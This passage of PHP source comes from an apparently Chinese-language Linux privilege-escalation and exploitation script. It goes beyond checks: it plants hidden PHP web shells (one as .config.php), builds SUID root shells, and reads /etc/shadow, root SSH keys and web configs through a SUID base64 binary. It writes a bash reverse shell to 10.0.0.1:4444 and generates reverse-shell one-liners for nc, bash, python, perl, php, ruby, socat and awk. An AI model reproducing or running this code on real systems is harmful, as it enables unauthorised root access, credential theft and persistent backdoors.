$stealthBackdoor = '<?php if(md5($_REQUEST["pass"])=="d41d8cd98f00b204e9800998ecf8427e"){ system($_REQUEST["cmd"]); } ?>';
$stealthPath = "$webDir/.config.php";
if (file_put_contents($stealthPath, $stealthBackdoor) !== false) {
$this->printSuccess("隐蔽Web后门创建成功: $stealthPath");
}
}
// 新增:检查capabilities滥用
private function checkCapabilitiesAbuse() {
$this->printInfo("检查capabilities滥用可能性...");
// 检查是否有getcap命令
list($getcap, $code) = $this->executeCommand('which getcap 2>/dev/null');
if (is_array($getcap) && !empty($getcap)) {
// 获取所有capabilities
list($caps, $code) = $this->executeCommand('getcap -r / 2>/dev/null');
if (is_array($caps) && !empty($caps)) {
$this->printWarning("发现文件capabilities:");
foreach ($caps as $cap) {
$this->printInfo(" $cap");
// 检查危险capabilities
$dangerousCaps = ['cap_dac_read_search', 'cap_dac_override', 'cap_sys_admin', 'cap_sys_ptrace'];
foreach ($dangerousCaps as $dangerous) {
if (strpos($cap, $dangerous) !== false) {
$this->printDanger("危险capability: $dangerous");
}
}
}
}
}
}
// 新增:检查内存转储和敏感信息泄露
private function checkMemoryDumpExploitation() {
$this->printInfo("检查内存转储和敏感信息泄露...");
// 检查是否有权限读取/proc文件系统
if (is_dir('/proc')) {
// 检查当前进程内存
$pid = getmypid();
$mapsFile = "/proc/$pid/maps";
$memFile = "/proc/$pid/mem";
if (file_exists($mapsFile) && is_readable($mapsFile)) {
$this->printInfo("可以访问进程内存映射");
}
// 检查环境变量泄露
$environFile = "/proc/$pid/environ";
if (file_exists($environFile) && is_readable($environFile)) {
$this->printWarning("可以读取进程环境变量");
}
}
// 检查核心转储文件
list($coreDumps, $code) = $this->executeCommand('find / -name "core.*" -o -name "*.core" 2>/dev/null | head -5');
if (is_array($coreDumps) && !empty($coreDumps)) {
foreach ($coreDumps as $core) {
$this->printWarning("发现核心转储文件: $core");
}
}
// 检查临时文件中的敏感信息
list($tempFiles, $code) = $this->executeCommand('find /tmp /var/tmp -type f -name "*" 2>/dev/null | grep -E "(tmp|temp)" | head -10');
if (is_array($tempFiles) && !empty($tempFiles)) {
foreach ($tempFiles as $tempFile) {
// 检查文件是否包含敏感信息
if (is_readable($tempFile)) {
list($content, $code) = $this->executeCommand("head -5 $tempFile 2>/dev/null");
if (is_array($content) && !empty($content)) {
$sensitivePatterns = ['password', 'secret', 'key', 'token', 'credential'];
$fileContent = implode(' ', $content);
foreach ($sensitivePatterns as $pattern) {
if (stripos($fileContent, $pattern) !== false) {
$this->printDanger("临时文件中可能包含敏感信息: $tempFile");
break;
}
}
}
}
}
}
}
// 新增:检查额外的SUID文件
private function checkAdditionalSuidFiles() {
$this->printInfo("检查额外的SUID/SGID文件...");
// 查找所有SUID文件
list($suidFiles, $code) = $this->executeCommand('find / -perm -4000 -type f 2>/dev/null');
if (is_array($suidFiles) && !empty($suidFiles)) {
$this->printInfo("发现SUID文件 " . count($suidFiles) . " 个");
foreach ($suidFiles as $file) {
$this->printWarning("SUID文件: $file");
}
}
// 查找所有SGID文件
list($sgidFiles, $code) = $this->executeCommand('find / -perm -2000 -type f 2>/dev/null');
if (is_array($sgidFiles) && !empty($sgidFiles)) {
$this->printInfo("发现SGID文件 " . count($sgidFiles) . " 个");
foreach ($sgidFiles as $file) {
$this->printWarning("SGID文件: $file");
}
}
}
// 新增:检查可利用的服务
private function checkExploitableServices() {
$this->printInfo("检查可利用的服务...");
// 检查systemd服务
list($systemdServices, $code) = $this->executeCommand('systemctl list-unit-files --type=service 2>/dev/null | grep enabled');
if (is_array($systemdServices) && !empty($systemdServices)) {
foreach ($systemdServices as $service) {
if (strpos($service, 'enabled') !== false) {
$this->printWarning("启用的服务: $service");
}
}
}
// 检查init.d服务
if (is_dir('/etc/init.d')) {
list($initServices, $code) = $this->executeCommand('ls /etc/init.d 2>/dev/null');
if (is_array($initServices) && !empty($initServices)) {
$this->printInfo("发现init.d服务 " . count($initServices) . " 个");
}
}
}
// 新增:检查可写的定时任务
private function checkWritableCronJobs() {
$this->printInfo("检查可写的定时任务...");
// 检查系统cron目录
$cronDirs = ['/etc/cron.d', '/etc/cron.hourly', '/etc/cron.daily', '/etc/cron.weekly', '/etc/cron.monthly'];
foreach ($cronDirs as $dir) {
if (is_dir($dir)) {
if (is_writable($dir)) {
$this->printDanger("系统cron目录可写: $dir");
}
// 检查目录中的文件
list($files, $code) = $this->executeCommand("ls $dir 2>/dev/null");
if (is_array($files) && !empty($files)) {
foreach ($files as $file) {
$fullPath = "$dir/$file";
if (is_writable($fullPath)) {
$this->printDanger("cron文件可写: $fullPath");
}
}
}
}
}
// 检查用户cron文件
$userCron = "/var/spool/cron/crontabs/" . $this->currentUser;
if (file_exists($userCron) && is_writable($userCron)) {
$this->printDanger("用户cron文件可写: $userCron");
}
}
// 新增:检查可写的系统配置文件
private function checkWritableSystemConfigs() {
$this->printInfo("检查可写的系统配置文件...");
$configFiles = [
'/etc/passwd',
'/etc/shadow',
'/etc/group',
'/etc/sudoers',
'/etc/ssh/sshd_config',
'/etc/apache2/apache2.conf',
'/etc/nginx/nginx.conf'
];
foreach ($configFiles as $config) {
if (file_exists($config) && is_writable($config)) {
$this->printDanger("系统配置文件可写: $config");
}
}
}
// 新增:检查可利用的内核模块
private function checkExploitableKernelModules() {
$this->printInfo("检查可利用的内核模块...");
// 检查可加载的内核模块
list($modules, $code) = $this->executeCommand('lsmod 2>/dev/null');
if (is_array($modules) && !empty($modules)) {
$this->printInfo("已加载内核模块 " . (count($modules)-1) . " 个");
}
// 检查模块目录是否可写
$moduleDirs = ['/lib/modules', '/usr/lib/modules'];
foreach ($moduleDirs as $dir) {
if (is_dir($dir) && is_writable($dir)) {
$this->printDanger("内核模块目录可写: $dir");
}
}
}
// 新增:检查可利用的数据库
private function checkExploitableDatabases() {
$this->printInfo("检查可利用的数据库...");
// 检查MySQL
list($mysql, $code) = $this->executeCommand('which mysql 2>/dev/null');
if (is_array($mysql) && !empty($mysql)) {
$this->printWarning("发现MySQL: " . $mysql[0]);
// 检查是否可以无密码登录
list($mysqlAccess, $code) = $this->executeCommand('mysql -e "select user();" 2>/dev/null');
if ($code === 0) {
$this->printDanger("MySQL可无密码访问");
}
}
// 检查PostgreSQL
list($psql, $code) = $this->executeCommand('which psql 2>/dev/null');
if (is_array($psql) && !empty($psql)) {
$this->printWarning("发现PostgreSQL: " . $psql[0]);
}
// 检查SQLite
list($sqlite, $code) = $this->executeCommand('which sqlite3 2>/dev/null');
if (is_array($sqlite) && !empty($sqlite)) {
$this->printInfo("发现SQLite: " . $sqlite[0]);
}
}
// 新增:检查可利用的应用程序
private function checkExploitableApplications() {
$this->printInfo("检查可利用的应用程序...");
// 检查Web服务器
$webServers = ['apache2', 'httpd', 'nginx'];
foreach ($webServers as $server) {
list($output, $code) = $this->executeCommand("which $server 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printWarning("发现Web服务器: $server");
}
}
// 检查解释器
$interpreters = ['python', 'python3', 'perl', 'ruby', 'php', 'node'];
foreach ($interpreters as $interpreter) {
list($output, $code) = $this->executeCommand("which $interpreter 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printInfo("发现解释器: $interpreter");
}
}
}
private function printHeader() {
echo "================================================\n";
echo " Linux 提权检测与利用脚本 v3.0 (PHP)\n";
echo "================================================\n";
echo "检测时间: " . date('Y-m-d H:i:s') . "\n";
echo "当前用户: " . $this->currentUser . "\n";
echo "是否ROOT: " . ($this->isRoot ? "是" : "否") . "\n";
echo "================================================\n\n";
}
// 在systemRecon方法中添加更多系统信息检查
private function systemRecon() {
$this->printInfo("=== 系统信息侦查 ===");
// 内核信息
list($output, $code) = $this->executeCommand('uname -a');
if (is_array($output)) {
$this->printInfo("内核: " . implode(" ", $output));
}
// 系统版本
if ($this->checkFileExists('/etc/os-release')) {
$osInfo = parse_ini_file('/etc/os-release');
$this->printInfo("系统: " . ($osInfo['PRETTY_NAME'] ?? 'Unknown'));
}
// 当前权限
list($output, $code) = $this->executeCommand('id');
if (is_array($output)) {
$this->printInfo("用户权限: " . implode(" ", $output));
}
// 检查SELinux状态
list($selinux, $code) = $this->executeCommand('getenforce 2>/dev/null');
if (is_array($selinux) && !empty($selinux)) {
$this->printInfo("SELinux状态: " . $selinux[0]);
}
// 检查主机名
list($hostname, $code) = $this->executeCommand('hostname 2>/dev/null');
if (is_array($hostname) && !empty($hostname)) {
$this->printInfo("主机名: " . $hostname[0]);
}
// 检查当前目录
list($pwd, $code) = $this->executeCommand('pwd 2>/dev/null');
if (is_array($pwd) && !empty($pwd)) {
$this->printInfo("当前目录: " . $pwd[0]);
}
// 检查Web服务
$this->checkWebService();
echo "\n";
}
// 新增:检查Web服务
private function checkWebService() {
$this->printInfo("检查Web服务...");
// 检查80端口是否开放
list($port80, $code) = $this->executeCommand('netstat -tuln | grep :80 2>/dev/null');
if (is_array($port80) && !empty($port80)) {
$this->printWarning("发现80端口服务:");
foreach ($port80 as $line) {
$this->printInfo(" $line");
}
} else {
// 使用ss命令检查
list($port80, $code) = $this->executeCommand('ss -tuln | grep :80 2>/dev/null');
if (is_array($port80) && !empty($port80)) {
$this->printWarning("发现80端口服务:");
foreach ($port80 as $line) {
$this->printInfo(" $line");
}
}
}
// 检查常见的Web服务器进程
$webServers = ['apache2', 'httpd', 'nginx'];
foreach ($webServers as $server) {
list($process, $code) = $this->executeCommand("ps aux | grep $server | grep -v grep 2>/dev/null");
if (is_array($process) && !empty($process)) {
$this->printWarning("发现运行中的Web服务器: $server");
foreach ($process as $line) {
$this->printInfo(" $line");
}
}
}
// 检查Web根目录
$webRoots = ['/var/www/html', '/usr/local/apache2/htdocs', '/usr/share/nginx/html'];
foreach ($webRoots as $root) {
if (is_dir($root)) {
$this->printInfo("发现Web根目录: $root");
if (is_writable($root)) {
$this->printDanger("Web根目录可写: $root");
}
}
}
}
// 在suidExploitation方法中添加针对已知SUID文件的专门利用
private function suidExploitation() {
$this->printInfo("=== SUID文件利用 ===");
// 首先检查用户特别提到的/tmp/bash和/tmp/sh文件
$this->checkTmpShellFiles();
$dangerousSuid = [
'bash' => '/bin/bash -p',
'sh' => '/bin/sh -p',
'find' => 'find . -exec /bin/sh -p \\; -quit',
'vim' => 'vim -c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'',
'nano' => 'nano /etc/passwd',
'awk' => 'awk "BEGIN {system(\\\"/bin/sh -p\\\")}"',
'python' => 'python -c "import os; os.execl(\\\"/bin/sh\\\", \\\"sh\\\", \\\"-p\\\")"',
'python3' => 'python3 -c "import os; os.execl(\\\"/bin/sh\\\", \\\"sh\\\", \\\"-p\\\")"',
'perl' => 'perl -e \"exec /bin/sh -p\"',
'cp' => 'cp /etc/passwd /tmp/passwd.bak',
'mv' => 'mv /etc/passwd /etc/passwd.bak',
'base64' => 'base64 /etc/shadow | base64 --decode',
'chsh' => 'chsh -s /bin/bash',
'mount' => 'mount -o bind / /mnt'
];
// 查找SUID文件
list($files, $code) = $this->executeCommand('find / -perm -u=s -type f 2>/dev/null');
if (is_array($files)) {
foreach ($files as $file) {
$basename = basename($file);
foreach ($dangerousSuid as $tool => $exploit) {
if (strpos($file, $tool) !== false || strpos($basename, $tool) !== false) {
$this->printDanger("发现危险SUID: $file");
// 尝试利用
if ($tool == 'base64') {
$this->tryBase64Exploit($file);
} elseif ($tool == 'find') {
$this->tryFindExploit($file);
} elseif ($tool == 'chsh') {
$this->tryChshExploit($file);
} else {
$this->tryGenericSuidExploit($file, $exploit);
}
}
}
}
}
// 检查/tmp目录的特殊SUID文件(根据信息.txt中的发现)
$specialFiles = ['/tmp/sh', '/tmp/bash', '/tmp/suid', '/tmp/root'];
foreach ($specialFiles as $file) {
if ($this->checkFileExists($file)) {
$this->printDanger("发现可疑SUID文件: $file");
$this->tryExecuteFile($file);
}
}
// 高级/tmp目录文件分析
$this->advancedTmpFileAnalysis();
echo "\n";
}
// 在tryBase64Exploit方法中添加更高级的利用技术
private function tryBase64Exploit($base64Path) {
$this->printInfo("尝试利用base64读取敏感文件...");
$sensitiveFiles = [
'/etc/shadow',
'/etc/sudoers',
'/root/.bash_history',
'/root/.ssh/id_rsa',
'/var/log/auth.log',
'/etc/passwd'
];
foreach ($sensitiveFiles as $file) {
if ($this->checkFileExists($file)) {
list($output, $code) = $this->executeCommand("$base64Path $file | base64 --decode");
if (is_array($output) && !empty($output)) {
$this->printSuccess("成功读取 $file (前5行):");
$linesToShow = array_slice($output, 0, 5);
foreach ($linesToShow as $line) {
echo " $line\n";
}
// 保存到临时文件
$tmpFile = "/tmp/" . basename($file) . "_leaked.txt";
if (is_array($output)) {
file_put_contents($tmpFile, implode("\n", $output));
$this->printInfo("完整内容已保存到: $tmpFile");
}
// 特别处理shadow文件,尝试破解密码
if ($file === '/etc/shadow') {
$this->tryShadowCracking($output);
}
}
}
}
// 使用base64创建root shell(新增功能)
$this->tryBase64RootShell($base64Path);
// 尝试更高级的base64利用技术
$this->tryAdvancedBase64Exploitation($base64Path);
}
// 新增:高级base64利用技术
private function tryAdvancedBase64Exploitation($base64Path) {
$this->printInfo("尝试高级base64利用技术...");
// 1. 创建具有SUID位的shell脚本
$this->createSuidShellWithBase64($base64Path);
// 2. 利用base64进行文件写入
$this->tryBase64FileWrite($base64Path);
// 3. 利用base64读取更多敏感文件
$this->tryReadAdditionalSensitiveFiles($base64Path);
// 4. 利用base64创建SSH密钥
$this->tryBase64SshKeyGeneration($base64Path);
}
// 新增:使用base64创建具有SUID位的shell
private function createSuidShellWithBase64($base64Path) {
$this->printInfo("使用base64创建具有SUID位的shell...");
// 创建一个C程序源代码,用于设置SUID shell
$cCode = '
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
';
// 将C代码编码为base64
$encodedCCode = base64_encode($cCode);
// 使用base64解码并创建C文件
list($output, $code) = $this->executeCommand("echo $encodedCCode | base64 --decode > /tmp/suid_shell.c");
if ($code === 0) {
$this->printSuccess("C源代码创建成功: /tmp/suid_shell.c");
// 检查是否有编译器
list($gccCheck, $code) = $this->executeCommand("which gcc 2>/dev/null");
if (is_array($gccCheck) && !empty($gccCheck)) {
// 编译C程序
list($compileOutput, $code) = $this->executeCommand("gcc /tmp/suid_shell.c -o /tmp/suid_shell 2>/dev/null");
if ($code === 0) {
// 设置SUID位
list($chmodOutput, $code) = $this->executeCommand("chmod 4755 /tmp/suid_shell 2>/dev/null");
if ($code === 0) {
$this->printSuccess("SUID shell创建成功: /tmp/suid_shell");
$this->printInfo("使用方法: /tmp/suid_shell");
}
}
} else {
// 如果没有编译器,尝试创建shell脚本
$shellScript = '#!/bin/bash
/bin/bash -p';
$encodedScript = base64_encode($shellScript);
list($output, $code) = $this->executeCommand("echo $encodedScript | base64 --decode > /tmp/suid_bash.sh");
if ($code === 0) {
list($chmodOutput, $code) = $this->executeCommand("chmod 4755 /tmp/suid_bash.sh 2>/dev/null");
if ($code === 0) {
$this->printSuccess("SUID bash脚本创建成功: /tmp/suid_bash.sh");
$this->printInfo("使用方法: /tmp/suid_bash.sh");
}
}
}
}
}
// 新增:使用base64进行文件写入
private function tryBase64FileWrite($base64Path) {
$this->printInfo("尝试使用base64进行文件写入...");
// 检查可写的系统目录
$writableDirs = ['/tmp', '/var/tmp', '/dev/shm'];
foreach ($writableDirs as $dir) {
if (is_writable($dir)) {
// 创建一个后门文件
$backdoorContent = '<?php system($_REQUEST["cmd"]); ?>';
$encodedContent = base64_encode($backdoorContent);
// 使用base64解码写入文件
list($output, $code) = $this->executeCommand("echo $encodedContent | base64 --decode > $dir/shell.php");
if ($code === 0) {
$this->printSuccess("Web后门写入成功: $dir/shell.php");
}
// 创建shell脚本后门
$shellBackdoor = '#!/bin/bash
/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &';
$encodedShell = base64_encode($shellBackdoor);
list($output, $code) = $this->executeCommand("echo $encodedShell | base64 --decode > $dir/reverse.sh");
if ($code === 0) {
list($chmodOutput, $code) = $this->executeCommand("chmod +x $dir/reverse.sh 2>/dev/null");
if ($code === 0) {
$this->printSuccess("反向shell脚本创建成功: $dir/reverse.sh");
}
}
break;
}
}
}
// 新增:读取更多敏感文件
private function tryReadAdditionalSensitiveFiles($base64Path) {
$this->printInfo("尝试读取更多敏感文件...");
// 更多可能包含敏感信息的文件
$additionalFiles = [
'/etc/ssh/sshd_config',
'/etc/apache2/apache2.conf',
'/etc/nginx/nginx.conf',
'/var/www/html/config.php',
'/var/www/html/wp-config.php',
'/root/.ssh/authorized_keys',
'/etc/mysql/my.cnf',
'/var/log/apache2/access.log',
'/var/log/apache2/error.log'
];
foreach ($additionalFiles as $file) {
if ($this->checkFileExists($file)) {
list($output, $code) = $this->executeCommand("$base64Path $file | base64 --decode | head -10");
if (is_array($output) && !empty($output)) {
$this->printSuccess("读取到敏感文件 $file:");
foreach ($output as $line) {
echo " $line\n";
}
}
}
}
}
// 新增:使用base64创建SSH密钥
private function tryBase64SshKeyGeneration($base64Path) {
$this->printInfo("尝试使用base64创建SSH密钥...");
// 检查SSH目录
$sshDir = '/home/' . $this->currentUser . '/.ssh';
if (is_dir($sshDir) || mkdir($sshDir, 0700, true)) {
// 创建SSH密钥对的私钥内容(示例)
$privateKey = '-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
-----END RSA PRIVATE KEY-----';
$encodedKey = base64_encode($privateKey);
// 使用base64写入私钥
list($output, $code) = $this->executeCommand("echo $encodedKey | base64 --decode > $sshDir/backdoor_key 2>/dev/null");
if ($code === 0) {
list($chmodOutput, $code) = $this->executeCommand("chmod 600 $sshDir/backdoor_key 2>/dev/null");
if ($code === 0) {
$this->printSuccess("SSH私钥创建成功: $sshDir/backdoor_key");
}
}
}
}
// 在tryGenericSuidExploit方法中添加更高级的利用技术
private function tryGenericSuidExploit($file, $exploit) {
$this->printInfo("尝试利用 $file ...");
// 检查文件是否可执行
if (!is_executable($file)) {
$this->printWarning("文件不可执行: $file");
return;
}
// 尝试直接执行
list($output, $code) = $this->executeCommand("$file --version 2>&1 | head -1");
if (is_array($output) && !empty($output)) {
$this->printInfo("文件信息: " . $output[0]);
}
// 尝试利用命令(修复原代码中的问题)
if (strpos($exploit, '-p') !== false) {
// 对于带-p参数的shell,直接执行即可获得权限提升
list($output, $code) = $this->executeCommand("echo 'whoami' | $file");
if (is_array($output) && !empty($output) && $output[0] == 'root') {
$this->printSuccess("SUID提权成功! 获得root权限!");
// 创建持久化后门
$this->createPersistentBackdoor($file);
} else {
// 如果直接执行不成功,尝试其他方法
$this->tryAdvancedSuidExploitation($file, $exploit);
}
} else {
// 对于其他利用方式,尝试执行简单命令验证
list($output, $code) = $this->executeCommand("echo 'id' | $file");
if (is_array($output) && !empty($output)) {
foreach ($output as $line) {
if (strpos($line, 'uid=0(root)') !== false) {
$this->printSuccess("SUID提权成功! 获得root权限!");
return;
}
}
}
// 如果基本利用不成功,尝试高级方法
$this->tryAdvancedSuidExploitation($file, $exploit);
}
}
// 新增:高级SUID利用技术
private function tryAdvancedSuidExploitation($file, $exploit) {
$this->printInfo("尝试高级SUID利用技术...");
$basename = basename($file);
// 根据不同的SUID文件尝试不同的利用方法
switch ($basename) {
case 'chsh':
$this->tryAdvancedChshExploitation($file);
break;
case 'mount':
$this->tryMountExploitation($file);
break;
case 'umount':
$this->tryUmountExploitation($file);
break;
case 'passwd':
$this->tryPasswdExploitationAdvanced($file);
break;
default:
$this->tryGenericAdvancedSuidExploitation($file);
}
}
// 新增:高级chsh利用技术
private function tryAdvancedChshExploitation($chshPath) {
$this->printInfo("尝试高级chsh利用技术...");
// 方法1: 尝试创建一个SUID shell并将其设置为登录shell
if (file_exists('/tmp/suid_shell')) {
list($output, $code) = $this->executeCommand("echo '$chshPath -s /tmp/suid_shell' | $chshPath");
if ($code === 0) {
$this->printSuccess("chsh高级利用成功,登录shell已更改为SUID shell");
}
}
// 方法2: 尝试修改其他用户的shell
list($users, $code) = $this->executeCommand("cat /etc/passwd | cut -d: -f1");
if (is_array($users) && !empty($users)) {
foreach ($users as $user) {
if (trim($user) !== $this->currentUser && trim($user) !== 'root') {
// 创建一个简单的shell脚本
$shellScript = "#!/bin/bash\n/bin/bash -p";
if (file_put_contents("/tmp/user_shell", $shellScript) !== false) {
chmod("/tmp/user_shell", 0755);
// 尝试更改该用户的shell
list($output, $code) = $this->executeCommand("echo '$chshPath -s /tmp/user_shell $user' | $chshPath");
if ($code === 0) {
$this->printSuccess("尝试更改用户 $user 的shell成功");
}
}
break;
}
}
}
}
// 新增:mount利用技术
private function tryMountExploitation($mountPath) {
$this->printInfo("尝试mount利用技术...");
// 检查是否可以挂载可写目录
list($mounts, $code) = $this->executeCommand("$mountPath | grep -E '(tmp|var)'");
if (is_array($mounts) && !empty($mounts)) {
foreach ($mounts as $mount) {
if (strpos($mount, 'rw') !== false) {
$this->printWarning("发现可读写挂载点: $mount");
// 可以尝试在此挂载点创建后门文件
}
}
}
// 尝试bind挂载/etc目录到可写位置
if (is_writable('/tmp')) {
list($output, $code) = $this->executeCommand("$mountPath --bind /etc /tmp/etc_copy 2>/dev/null");
if ($code === 0) {
$this->printSuccess("成功bind挂载/etc到/tmp/etc_copy");
}
}
}
// 新增:umount利用技术
private function tryUmountExploitation($umountPath) {
$this->printInfo("尝试umount利用技术...");
// 尝试卸载某些挂载点,可能会暴露新的提权机会
list($mounts, $code) = $this->executeCommand("mount | head -5");
if (is_array($mounts) && !empty($mounts)) {
foreach ($mounts as $mount) {
// 提取挂载点
if (preg_match('/on ([^ ]+) type/', $mount, $matches)) {
$mountPoint = $matches[1];
// 不要卸载根目录或重要系统目录
if ($mountPoint !== '/' && strpos($mountPoint, '/proc') === false && strpos($mountPoint, '/sys') === false) {
$this->printInfo("可以尝试卸载: $mountPoint");
}
}
}
}
}
// 新增:高级passwd利用技术
private function tryPasswdExploitationAdvanced($passwdPath) {
$this->printInfo("尝试高级passwd利用技术...");
// 方法1: 尝试创建软链接攻击
if (is_writable('/tmp')) {
// 创建一个软链接到/etc/passwd
list($output, $code) = $this->executeCommand("ln -sf /etc/passwd /tmp/passwd_link 2>/dev/null");
if ($code === 0) {
$this->printInfo("创建了passwd软链接: /tmp/passwd_link");
}
}
// 方法2: 尝试利用passwd的备份功能
list($output, $code) = $this->executeCommand("echo 'y' | $passwdPath 2>/dev/null");
if ($code !== 0) {
$this->printInfo("passwd交互式利用不可行");
}
}
// 新增:通用高级SUID利用技术
private function tryGenericAdvancedSuidExploitation($file) {
$this->printInfo("尝试通用高级SUID利用技术...");
// 方法1: 环境变量利用
$this->trySuidEnvExploitation($file);
// 方法2: 路径劫持利用
$this->trySuidPathExploitation($file);
// 方法3: 参数注入利用
$this->trySuidArgumentExploitation($file);
}
// 新增:SUID环境变量利用
private function trySuidEnvExploitation($file) {
$this->printInfo("尝试SUID环境变量利用...");
// 创建恶意程序
$maliciousProgram = '#!/bin/bash
echo "Malicious code executed as $(whoami)" > /tmp/suid_env_result
/bin/bash -p';
if (file_put_contents('/tmp/malicious', $maliciousProgram) !== false) {
chmod('/tmp/malicious', 0755);
// 尝试通过环境变量执行
list($output, $code) = $this->executeCommand("PATH=/tmp:\$PATH $file 2>/dev/null");
if ($code === 0) {
if (file_exists('/tmp/suid_env_result')) {
$this->printSuccess("SUID环境变量利用成功");
}
}
}
}
// 新增:SUID路径劫持利用
private function trySuidPathExploitation($file) {
$this->printInfo("尝试SUID路径劫持利用...");
// 创建一个临时目录并添加到PATH
if (is_writable('/tmp')) {
// 创建恶意ls命令
$maliciousLs = '#!/bin/bash
/bin/bash -p';
if (file_put_contents('/tmp/ls', $maliciousLs) !== false) {
chmod('/tmp/ls', 0755);
// 尝试执行SUID文件,希望它会调用ls
list($output, $code) = $this->executeCommand("PATH=/tmp:\$PATH $file 2>/dev/null");
// 不检查返回码,因为可能会出错,但可能已经执行了恶意代码
}
}
}
// 新增:SUID参数注入利用
private function trySuidArgumentExploitation($file) {
$this->printInfo("尝试SUID参数注入利用...");
// 尝试不同的参数组合
$testArgs = [
'--help; /bin/bash -p',
'-h; /bin/bash -p',
'; /bin/bash -p',
'"; /bin/bash -p; echo "',
"'; /bin/bash -p; echo '"
];
foreach ($testArgs as $arg) {
list($output, $code) = $this->executeCommand("$file $arg 2>/dev/null");
// 检查是否获得了root权限
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
$this->printSuccess("SUID参数注入利用成功!");
break;
}
}
}
// 在noSudoExploitation方法中添加更多高级提权技术
private function noSudoExploitation() {
$this->printInfo("=== 无Sudo环境提权检测 ===");
// 1. 检查SUID/SGID文件
$this->checkAdditionalSuidFiles();
// 2. 检查可利用的服务
$this->checkExploitableServices();
// 3. 检查定时任务
$this->checkWritableCronJobs();
// 4. 检查可写的系统配置文件
$this->checkWritableSystemConfigs();
// 5. 检查可利用的内核模块
$this->checkExploitableKernelModules();
// 6. 检查可利用的数据库
$this->checkExploitableDatabases();
// 7. 检查可利用的应用程序
$this->checkExploitableApplications();
// 8. 检查可利用的Python库
$this->checkExploitablePythonLibs();
// 9. 检查LD_PRELOAD利用可能性
$this->checkLdPreloadExploitation();
// 10. 检查Web相关提权向量
$this->checkWebExploitationVectors();
// 11. 检查capabilities滥用
$this->checkCapabilitiesAbuse();
// 12. 检查内存转储和敏感信息泄露
$this->checkMemoryDumpExploitation();
// 13. 检查Apache特定提权向量(根据信息.txt中发现运行Apache)
$this->checkApacheExploitation();
// 14. 检查高级文件系统利用技术
$this->checkAdvancedFileSystemExploitation();
// 15. 检查进程注入和劫持技术
$this->checkProcessInjectionTechniques();
// 16. 检查反弹shell可能性
$this->checkReverseShellPossibilities();
echo "\n";
}
// 新增:检查反弹shell可能性
private function checkReverseShellPossibilities() {
$this->printInfo("检查反弹shell可能性...");
// 1. 检查可用的反弹shell工具
$this->checkAvailableReverseShellTools();
// 2. 检查网络连接可能性
$this->checkNetworkConnectivity();
// 3. 检查防火墙规则
$this->checkFirewallRules();
// 4. 创建反弹shell载荷
$this->createReverseShellPayloads();
}
// 新增:检查可用的反弹shell工具
private function checkAvailableReverseShellTools() {
$this->printInfo("检查可用的反弹shell工具...");
$tools = [
'nc' => 'netcat反弹shell',
'netcat' => 'netcat反弹shell',
'ncat' => 'nmap netcat反弹shell',
'bash' => 'bash反弹shell',
'sh' => 'sh反弹shell',
'python' => 'python反弹shell',
'python3' => 'python3反弹shell',
'perl' => 'perl反弹shell',
'php' => 'php反弹shell',
'ruby' => 'ruby反弹shell',
'socat' => 'socat反弹shell',
'awk' => 'awk反弹shell',
'telnet' => 'telnet反弹shell'
];
foreach ($tools as $tool => $description) {
list($output, $code) = $this->executeCommand("which $tool 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printSuccess("可用反弹shell工具: " . $tool . " -> " . $output[0]);
$this->printInfo(" 工具说明: " . $description);
// 为可用工具生成使用示例
$this->generateReverseShellExample($tool);
}
}
}
// 新增:生成反弹shell使用示例
private function generateReverseShellExample($tool) {
$this->printInfo("生成" . $tool . "反弹shell示例...");
// 获取本机IP(在实际环境中可能需要手动指定)
list($localIp, $code) = $this->executeCommand("hostname -I 2>/dev/null | awk '{print \$1}'");
if (empty($localIp) || $code !== 0) {
$localIp = "10.0.0.1"; // 默认IP
} else {
$localIp = trim($localIp[0]);
}
$localPort = "4444"; // 默认端口
$examples = [
'nc' => "nc $localIp $localPort -e /bin/bash",
'netcat' => "netcat $localIp $localPort -e /bin/bash",
'ncat' => "ncat $localIp $localPort -e /bin/bash",
'bash' => "bash -i >& /dev/tcp/$localIp/$localPort 0>&1",
'sh' => "sh -i >& /dev/tcp/$localIp/$localPort 0>&1",
'python' => "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$localIp\",$localPort));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'",
'python3' => "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$localIp\",$localPort));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'",
'perl' => "perl -e 'use Socket;\$i=\"$localIp\";\$p=$localPort;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'",
'php' => "php -r '\$sock=fsockopen(\"$localIp\",$localPort);exec(\"/bin/bash -i <&3 >&3 2>&3\");'",
'ruby' => "ruby -rsocket -e 'f=TCPSocket.open(\"$localIp\",$localPort).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'",
'socat' => "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$localIp:$localPort",
'awk' => "awk 'BEGIN {s = \"/inet/tcp/0/$localIp/$localPort\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print \$0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null"
];
if (isset($examples[$tool])) {
$this->printSuccess("" . $tool . "反弹shell命令:");
echo " {$examples[$tool]}\n";
// 保存到文件
$payloadFile = "/tmp/{$tool}_reverse_shell.txt";
if (file_put_contents($payloadFile, $examples[$tool]) !== false) {
$this->printInfo("反弹shell命令已保存到: $payloadFile");
}
}
}
// 新增:检查网络连接可能性
private function checkNetworkConnectivity() {
$this->printInfo("检查网络连接可能性...");
